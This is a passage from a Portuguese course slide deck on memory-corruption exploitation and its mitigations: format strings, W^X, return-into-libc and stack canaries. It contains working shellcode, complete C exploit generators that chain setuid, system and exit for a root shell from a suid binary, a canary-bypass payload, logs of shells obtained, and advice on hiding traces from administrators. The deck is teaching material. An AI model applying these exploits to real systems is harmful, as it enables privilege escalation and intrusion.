  • 168. Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O endereço do payload deve ser colocado em 0x0804a004. [rafael@centos format string]$ objdump -R format_string_ex7 format_string_ex7: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __gmon_start__ 0804a004 R_386_JUMP_SLOT putchar 0804a008 R_386_JUMP_SLOT __libc_start_main 0804a00c R_386_JUMP_SLOT printf [rafael@centos format string]$
  • 169. Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 4 endereços = 16 45 x 0x90 = 41 shellcode = 23 total = 100 %72x = 72 0804a004 = 0x000000ac %74x = 74 0804a005 = 0x000000f6 %9x = 9 0804a006 = 0x000000ff %192x = 192 0804a007 = 0x000001bf então, 0804a004 = 0xbffff6ac
  • 170. Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  0xbffff6ac é o endereço do payload. 0xbffff6ac ≅ esp – 128 + 137*4 ± offset. [rafael@centos exemplos]$ ./get_esp esp: 0xbffff4f4 [rafael@centos exemplos$ [rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin` sh-3.2$ exit exit [rafael@centos format string]$
  • 171. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 172. Técnicas Modernas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Atualmente existem proteções que dificultam a execução do payload.  Área de dados apenas com permissão de execução, assim não é possível redirecionar o ponteiro de instruções para o payload.  Mecanismos dinâmicos de verificação de integridade da stack.  Randomização da memória do programa, de modo que endereços não possam ser “adivinhados” com facilidade.
  • 173. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 174. WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Técnica utilizada para impedir que áreas de dados de um programa possam ser executadas.  Nenhuma área com permissão de escrita (stack, heap, .data, .bss) deve ter permissão de execução.  Isso impede que o fluxo de execução de um programa seja redirecionado para um payload injetado.
  • 175. WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Nada impede o desenvolvendor de mapear uma área de memória WR.  Alguns programas precisam executar código gerado dinamicamente.
  • 176. WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; void func(){ char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)shellcode; printf("%sn", buffer); } int main(){ func(); printf("fimn"); }
  • 177. WorX Proteção desabilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ gcc -z execstack worx_ex11 worx_ex1.c [rafael@centos worx]$ ./worx_ex1 AAAABBBBCCCCDDD sh-3.2$ [rafael@centos worx]$ cat /proc/14460/maps 00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so 0073d000-0073e000 r-xp 00019000 08:02 394715 /lib/ld-2.5.so 0073e000-0073f000 rwxp 0001a000 08:02 394715 /lib/ld-2.5.so 00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so 0087f000-00881000 r-xp 0013e000 08:02 392465 /lib/libc-2.5.so 00881000-00882000 rwxp 00140000 08:02 392465 /lib/libc-2.5.so 00882000-00885000 rwxp 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1 08049000-0804a000 rwxp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1 f7f95000-f7f97000 rwxp f7f95000 00:00 0 f7fb2000-f7fb3000 rwxp f7fb2000 00:00 0 ffbd2000-ffbe7000 rwxp 7ffffffea000 00:00 0 [stack] ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
  • 178. WorX Proteção habilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ gcc worx_ex12 worx_ex1.c [rafael@centos worx]$ ./worx_ex1 AAAABBBBCCCCDDD Segmentation fault [rafael@centos worx]$ [rafael@centos worx]$ cat /proc/14461/maps 00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so 0073d000-0073e000 r--p 00019000 08:02 394715 /lib/ld-2.5.so 0073e000-0073f000 rw-p 0001a000 08:02 394715 /lib/ld-2.5.so 00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so 0087f000-00881000 r--p 0013e000 08:02 392465 /lib/libc-2.5.so 00881000-00882000 rw-p 00140000 08:02 392465 /lib/libc-2.5.so 00882000-00885000 rw-p 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12 08049000-0804a000 rw-p 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12 f7fd5000-f7fd7000 rw-p f7fd5000 00:00 0 f7ff2000-f7ff3000 rw-p f7ff2000 00:00 0 ffcdf000-ffcf4000 rw-p 7ffffffea000 00:00 0 [stack] ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
  • 179. Return-into-libc Burlando proteção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Redirecionar fluxo para código próprio do programa, ou para bibliotecas carregadas por ele.  Libc é carregada em todos os programas unix sempre no mesmo endereço base. Então o fluxo é simplesmente redirecionado para uma função da biblioteca.  Chamando system(“/bin/sh”) um shell é retornado para o atacante.
  • 180. Return-into-libc A arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... 0xdefaced system 0xdefaced ptr “/bin/sh” função vulnerável buffer explorado EBP anterior retaddr ... ... esp ebp crescimento da system stack variáveis locais EBP anterior retaddr arg1
  • 181. Return-into-libc Redirecionando para system (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(){ int main(){ int *ptr; func(); } ptr = (int*)&ptr; ptr++; ptr++; *ptr = (int)system; ptr++; ptr++; *ptr = (int)"/bin/sh"; } [rafael@centos worx]$ ./return_into_libc_ex1 $ exit Segmentation fault [rafael@centos worx]$
  • 182. Return-into-libc Redirecionando para system (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O endereço de retorno é sobrescrito com o endereço de system.  A posição de memória, que do ponto de vista da função system seria o endereço de retorno, é deixada de lado e um ponteiro para “/bin/sh” é colocado na posição seguinte. Esse ponteiro será o arg1 da função.
  • 183. Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... 0xdefaced system exit ptr “/bin/sh” 0xffffffff função vulnerável buffer explorado EBP anterior retaddr ... ... ... esp ebp crescimento da system stack variáveis locais EBP anterior retaddr arg1 exit variáveis locais EBP anterior retaddr arg1
  • 184. Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(){ int main(){ int *ptr; func(); } ptr = (int*)&ptr; ptr++; ptr++; *ptr = (int)system; ptr++; *ptr = (int)exit; ptr++; *ptr = (int)"/bin/sh"; ptr++; *ptr = 0x1; } [rafael@centos worx]$ ./return_into_libc_ex2 $ exit [rafael@centos worx]$
  • 185. Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Um atacante deve eliminar todos os seus rastros, de modo a não chamar a atenção do administrador do sistema.  Para não causar uma falha de segmentação, a posição que system considera como endereço de retorno é sobrescrita com o endereço de exit, e o valor após o ponteiro para “/bin/sh” recebe o valor -1 (argumento para exit).
  • 186. Return-into-libc Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ char buffer[256]; strcpy(buffer, str); printf("%sn", buffer); } int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } func(argv[1]); printf("fimn"); }
  • 187. Return-into-libc Planejando o ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Descobrindo o endereço de system e exit. [rafael@centos worx]$ gdb ./return_into_libc_ex3 GNU gdb Fedora (6.8-27.el5) Copyright (C) 2008 Free Software Foundation, Inc. This GDB was configured as "x86_64-redhat-linux-gnu"... (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x8048460 (gdb) r Starting program: minicurso/exemplos/worx/return_into_libc_ex3 Breakpoint 1, 0x08048460 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7eafa90 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xbfea4ce0 <exit> (gdb)
  • 188. Return-into-libc O exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define SYSTEM 0xb7eafa90 #define SARG "////////////////////////////////////////////////////bin/sh" #define ESP 0xbffff3a4 + 37 #define EXIT 0xb7ea4ce0 #define EARG 0xffffffff int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int sargaddr; int n, i, j, pos; char buffer[352]; if(argc != 3){ fprintf(stderr, "uso: %s <ret> <conf>n", argv[0]); return 1; } sargaddr = ESP + atoi(argv[1]); pos = atoi(argv[2]); if(pos < 1 || pos > 4) pos = 1;
  • 189. Return-into-libc O exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memset(&buffer, 'A', 352); ptr = (long*)buffer; n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4; n = n/4; for(i = 0, j = pos - 1; i <= n; i++){ ptr[j++] = SYSTEM; ptr[j++] = EXIT; ptr[j++] = sargaddr; ptr[j++] = EARG; } strcpy(&buffer[351] - strlen(SARG), SARG); badfile = fopen("./badfile_ex31.bin", "w"); fwrite(buffer, 1, 352, badfile); fclose(badfile); }
  • 190. Return-into-libc Calculando o endereço do buffer (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Considerando que o buffer vulnerável tem 256 bytes, e a posição de SARG dentro do vetor é 293, conclui- se que SARG se encontra próximo ao endereço: SARG = esp + (293-256) ± offset  Onde offset é o deslocamento da pilha, que depende de características próprias do programa. [rafael@centos exemplos]$ ./get_esp ESP: 0xbffff504 [rafael@centos exemplos]$
  • 191. Return-into-libc O ataque falha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O offset deve ser multiplo de 4 (dword), já que a pilha segue um alinhamento de 4 bytes. [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L��-������������L ��-������������L��-������������L��-���������� ��L��-������������L��-������������L��-�������� ����L��-������������L��-������������L��-������ ������L��-������������L��-������������L��-���� ��������L��-������������L��-������������L��-�� ����������L��-������������L��-��������///////////////////////// ///////////////////////////bin/sh sh: cannot open �������: No such file sh: ���P��: not found [rafael@centos worx]$
  • 192. Return-into-libc Recalculando o endereço do buffer (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o vetor de injeção é passado através de argumento da linha de comando, o valor da pilha se altera porque argv[1] é armazenado na mesma. [rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin ` ESP: 0xbffff3a4 [rafael@centos worx]$
  • 193. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Badfile Return-into-libc
  • 194. Return-into-libc A exploração (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Dessa vez com o valor de ESP considerando argv[1]. [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭 ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � ////////////////////////// //////////////////////////bin/sh sh-3.2$ exit exit [rafael@centos worx]$
  • 195. Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Na maioria dos sistema atuais /bin/sh é um link simbólico para /bin/bash. [rafael@centos worx]# cp /bin/sh /bin/sh.back [rafael@centos worx]# rm /bin/sh [rafael@centos worx]# ln -s /bin/bash /bin/sh [rafael@centos worx]#
  • 196. Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Setando o programa como suid root. [rafael@centos worx]# chown root return_into_libc_ex3 [rafael@centos worx]# chmod a+s return_into_libc_ex3 [rafael@centos worx]# exit [rafael@centos worx]$ ./exploit_return_into_libc_ex3 -7 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭 ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � /////////////////////////// /////////////////////////bin/sh sh-3.2$ id uid=500(rafael) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unco nfined_t sh-3.2$
  • 197. Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O bash possui um mecanismo de proteção. Retorna um shell de acordo com o uid e não com o euid.  O euid do programa vulnerável é 0 (root) porém o uid é 500 (rafael).  Basta então setarmos o uid para 0, através de setuid(0). Isso é possível pois o processo está rodando com permissão de root.
  • 198. Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... setuid system ? ptr “/bin/sh” 0xffffffff função vulnerável buffer retaddr ... ... ... ... setuid variáveis locais EBP anterior retaddr arg1 system variáveis locais EBP anterior retaddr arg1 exit variáveis locais EBP anterior retaddr arg1
  • 199. Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mas como chamar setuid(), system() e exit()? É impossível! O argumento para setuid coincidiria com o endereço de exit.
  • 200. Return-into-libc Código de epílogo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa O código de epílogo nos programas modernos é formado por duas instruções: leave e ret. A primeira retoma o frame de pilha da função chamadora. A segunda retorna o fluxo do programa para a instrução seguinte à que chamou a função atual. ; instruções executadas por leave mov esp, ebp pop ebp ; instrução executada por ret pop eip
  • 201. Return-into-libc Endereço de leave e ret (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Posições de memória onde há uma instrução leave. [rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave 804830e: c9 leave 8048421: c9 leave 8048450: c9 leave 8048576: c9 leave [rafael@centos worx]$
  • 202. Return-into-libc Falsificando frames (In)Segurança de Software, Quebrando Códigos - Rafael Rosa função vulnerável buffer vetor de injeção EBP anterior ebp 1 retaddr setuid ebp setuid ... 0x08048450 ; área de texto ... 0x00 ; código do programa ... ebp 2 0x08048450 <func+44>: leave ... system ebp system 0x08048451 <func+45>: ret ... 0x08048450 ... ptr “/bin/sh” ... ebp 3 ... exit ebp exit ... 0x08048450 ... 0xffffffff
  • 203. Return-into-libc Falsificando frames (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A função vulnerável vai copiar o valor em ebp 1 para o ebp, em seguida vai retornar para setuid.  O código de prólogo então vai criar um frame da função e vai sobrescrever o endereço de setuid com o endereço do ebp 2. Ao terminar o ebp 2 será restaurado e a função retorna para 0x08048450.  leave vai copiar o valor de ebp 2 para ebp e então retorna para system.
  • 204. Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se a função vulnerável (caso em questão) trabalhar com manipulação de strings, não se pode injetar um 0x00 (NULL), pois isso terminaria a operação com a string e não seria possível injetar mais nenhum byte no buffer.
  • 205. Return-into-libc Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção buffer função vulnerável ebp 1 EBP anterior printf ebp printf retaddr 0x08048450 ... ptr “%n” ... ... ebp 2 ; área de texto ; código do programa ... setuid ebp setuid ... 0x08048450 0x08048450 <func+44>: leave ... 0xffffffff ... ebp 3 0x08048451 <func+45>: ret ebp system ... system ... 0x08048450 ... ptr “/bin/sh” ... ebp 4 ... exit ebp exit ... 0x08048450 ... 0xffffffff
  • 206. Return-into-libc Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Um frame para printf é criado para poder alterar um endereço de memória através da tag de formato %n.  Basta passar como argumento de %n o endereço do argumento para setuid, o qual será sobrescrito com 0x00000000.
  • 207. Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para executar esse ataque é necessário a injeção de uma string de formato (“%n”), e de um shell (“/bin/sh”), que precisam ser armazenados em endereços conhecidos.  É preciso conhecer o endereço do buffer na memória, para poder falsificar os frames de pilha.
  • 208. Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para esse caso, pode-se injetar as strings em variáveis de ambiente.  A técnica abaixo é usada para aumentar a chance de acerto. [rafael@centos exemplos]$ export SH=/////////////////////////////////////////////////////////////////////////////////////// ///////////////bin/sh [rafael@centos exemplo]$ export STR=%n [rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'` [rafael@centos exemplo]$ ./get_env SH O endereço de SH é 0xbffffd56 [rafael@centos exemplos]$ ./get_env STR O endereço de STR é 0xbffffaa1
  • 209. Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define PRINTF 0xb7ebfc10 #define SETUID 0xb7f13c60 #define SYSTEM 0xb7eafa90 #define EXIT 0xb7ea4ce0 #define LEAVERET 0x08048450 #define PARGADDR 0xbffffaa1 - 34 #define SUIDARG 0xffffffff #define SARGADDR 0xbffffd56 #define EARG 0xffffffff #define ESP 0xbffff1a4 +20 int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int bufaddr; char buffer[336];
  • 210. Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa If(argc != 2){ fprintf(stderr, "uso: %s <ret> n", argv[0]); return 1; } bufaddr = ESP + atoi(argv[1]); memset(&buffer, 'A', 336); ptr = (long*)(buffer+256); *ptr++ = bufaddr; //ebp setuid *ptr++ = PRINTF; //call printf *ptr++ = LEAVERET; //printf retaddr *ptr++ = PARGADDR; // "%n" *ptr++ = bufaddr+12; //endereço a ser nulificado *ptr++ = bufaddr+16; //ebp system *ptr++ = SETUID; //call setuid *ptr++ = LEAVERET; //setuid retaddr *ptr++ = SUIDARG; //argumento para setuid
  • 211. Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa *ptr++ = bufaddr+32; //ebp exit *ptr++ = SYSTEM; //call system *ptr++ = LEAVERET; //system retaddr *ptr++ = SARGADDR; // "/bin/bash" *ptr++ = bufaddr+48; //terminamos aqui *ptr++ = EXIT; //ebp exit *ptr++ = 0xdefaced; //system retaddr *ptr++ = EARG; //argumento para exit buffer[335] = '0'; badfile = fopen("./badfile_ex32.bin", "w"); fwrite(buffer, 1, 336, badfile); fclose(badfile); }
  • 212. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Vetor de injeção Return-into-libc
  • 213. Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O valor de esp tem que ser calculado considerando o vetor de injeção em argv[1]. [rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin ` ESP: 0xbffff1a4 [rafael@centos exemplos]$  O endereço de ebp 2 é calculado: es p + (276-256) ± offs et
  • 214. Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Usa-se a saída de printf e a de system para localizar exatamente o endereço de SH e STR. Tentativas também são feitas para descobrir o offset.
  • 215. Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ ./exploit_return_into_libc_ex32 -28 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex32.bin ` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA� ������P������������`<��P�������������P�V���� ����L���� sh-3.2# id uid=0(root) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfin ed_t sh-3.2# exit exit 0xbffff1ac0xb7f13c600x8048450 (nil)0xbffff1bc0xb7eafa900x80484500xbffffd560xbffff1cc0xb7ea 4ce00xdefaced0xffffffff0x414141410x414141410x414141 (nil)0x80482640xb7fcfff40x80484d00x8 0483700xbffff2180xab4381790x852c9569 (nil) (nil) (nil)0xb7ff60900xb7e8c5ad0xb7ffeff40x000 0020x8048370 (nil)0x80483910x80484520x0000020xbffff2440x80484d00x80484c00xb7ff0f500x bffff23c0xb7ffbaaa0x0000020xbffff3a70xbffff3be (nil)0xbffff50e0xbffff5300xbffff5430xbffff57a0xbfff F58a0xbffff5950xbffff5e50xbffff6200xbffff6320xbffff6460xbffff6520xbffffa7b0xbffffc120xbffffc380xbff Ffc680xbffffc990xbffffca90xbffffcf60xbffffd160xbffffd310xbffffda10xbffffdba0xbffffdcb0xbffffde30xbfff Fdf80xbffffe130xbffffe2a0xbffffe320xbffffe440xbffffe700xbffffe7f0xbffffebb0xbfffff1d0xbfffff3d0xbfffff4 a0xbfffff570xbfffff790xbfffff8f0xbfffffa80xbfffffcc (nil)0x0000200xb7ffd4200x0000210xb7ffd0000x00 00100x78bf3bf0x0000060x0010000x0000110x0000640x0000030x80480340x0000040x000020[raf ael@centos worx]$
  • 216. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 217. Stack Protector Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste no posicionamento de um valor (canary) na stack, de modo que quando ocorrer um overflow esse valor seja alterado.  No retorno da função esse valor é comparado ao valor original, e caso seja diferente o programa termina.
  • 218. Stack Protector Código de partida (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *func1(char *args[], int *len){ char *ptrstr; int i; char buf[256]; strcpy(buf, args[0]); i = 1; while(args[i] != NULL){ strcat(buf, " "); strcat(buf, args[i]); i++; } *len = strlen(buf); ptrstr = (char*)malloc((*len) + 1); if(ptrstr == NULL){ perror("func1"); exit(1); } strcpy(ptrstr, buf); return ptrstr; }
  • 219. Stack Protector Código de partida (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(char *args[]){ unsigned int len; char *str; str = func1(args, &len); printf("Argumentos concatenados possuem %u bytes:n", len); printf("%sn", str); } int main(int argc, char *argv[]){ if(argc < 2){ fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>n", argv[0]); return 1; } func(&argv[1]); }
  • 220. Stack Protector Retaddr protegido (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O canary é colocado entre o ebp salvo e o endereço de retorno.  Com esse método o endereço de retorno fica protegido. [rafael@centos stack protector]$ gcc -c stack_protector_ex2.s [rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'` stack overflow detectado Saindo... [rafael@centos stack protector]$
  • 221. Stack Protector Retaddr protegido (In)Segurança de Software, Quebrando Códigos - Rafael Rosa func1: ; prólogo pushl $0xaabbccdd pushl %ebp buf movl %esp, %ebp edi é salvo na pushl %edi ptrstr pilha porque é subl $292, %esp usado na função. i ; epílogo edi salvo addl $292, %esp popl %edi ebp salvo popl %ebp $0xaabbccdd popl %ebx xor $0xaabbccdd, %ebx retaddr je .stack_ok args call stack_check_fail .stack_ok: len ret
  • 222. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Variáveis locais do tipo ponteiro ainda podem ser sobrescritas, de modo que se possa ler ou gravar em qualquer lugar na memória.  Com isso, pode-se sobrescrever a GOT, dtors, e ponteiros de função. [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'` Argumentos concatenados possuem 160575496 bytes: 0� (3ÿ�� Segmentation fault [rafael@centos stack protector]$
  • 223. Stack Protector Reordenamento de variáveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Variáveis locais são reordenadas de modo que buffers fiquem em posições mais altas de memória, impossibilitando que ocorra overflow de outras variáveis. [rafael@centos stack protector]$ gcc -c stack_protector_ex3.s [rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 224. Stack Protector Reordenamento de variáveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; strcpy(buf, args[0] movl 12(%ebp), %eax ptrstr movl (%eax), %eax i movl %eax, 4(%esp) leal -260(%ebp), %eax movl %eax, (%esp) buf call strcpy edi salvo ;i=1 ebp salvo movl $1, -264(%ebp) $0xaabbccdd ; if(ptrstr == NULL) cmpl $0, -268(%ebp) retaddr args len
  • 225. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Argumentos do tipo ponteiro não são protegidos, o que gera um brecha para ataques. [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'` Segmentation fault [rafael@centos stack protector]$
  • 226. Stack Protector Cópia de argumentos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Argumentos da função são copiados para o topo da pilha, assim se os originais forem sobrescritos o programa não será afetado, pois utiliza a cópia dos mesmos. [rafael@centos stack protector]$ gcc -c stack_protector_ex4.s [rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 227. Stack Protector Cópia de argumentos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; copiando argumentos ; malloc((*len)+1) len subl $300, %esp movl -276(%ebp), %eax args movl 12(%ebp), %eax movl (%eax), %eax movl %eax, -272(%ebp) ptrstr addl $1, %eax movl 16(%ebp), %eax movl %eax, (%esp) i movl %eax, -276(%ebp) call malloc buf ; strcpy(buf, args[0]) movl -272(%ebp), %eax edi salvo movl (%eax), %eax movl %eax, 4(%esp) ebp salvo leal -260(%ebp), %eax $0xaabbccdd movl %eax, (%esp) call strcpy retaddr args len
  • 228. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O ebp salvo ainda pode ser sobrescrito, possibilitando a falsificação do frame de pilha da função chamadora, de modo que as variáveis e argumentos da mesma possam ser controladas.  Não é necessário ganhar o controle de um ponteiro, qualquer variável pode ser usada, basta setarmos o ebp para o endereço da GOT. [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'` Argumentos concatenados possuem 1094795585 bytes: Segmentation fault [rafael@centos stack protector]$
  • 229. Stack Protector Protegendo o frame de pilha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O canary é colocado entre as variáeis locais e o ebp salvo de modo a detectar qualquer alteração em seu valor. [rafael@centos stack protector]$ gcc -c stack_protector_ex5.s [rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 230. Stack Protector Protegendo o frame de pilha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa len ; prólogo ; epílogo movl -8(%ebp), %ebx args func1: pushl %ebp xor $0xaabbccdd, %ebx ptrstr movl %esp, %ebp je .stack_ok i pushl %edi call stack_check_fail subl $304, %esp .stack_ok: movl 8(%ebp), %eax addl $304, %esp buf movl %eax, -276(%ebp) popl %edi movl 12(%ebp), %eax popl %ebp $0xaabbccdd movl %eax, -280(%ebp) ret edi salvo movl $0xaabbccdd, -8(%ebp) ebp salvo retaddr args len
  • 231. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o canary é um valor conhecido, pode-se passar um vetor de injeção de modo que o valor do canary fique intacto.  Com isso, o teste de validação da integridade da stack não vai detectar o overflow, e o payload, então, pode ganhar o controle do eip. [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “xddxccxbbxaa” . “A”x8' ` Illegal instruction [rafael@centos stack protector]$
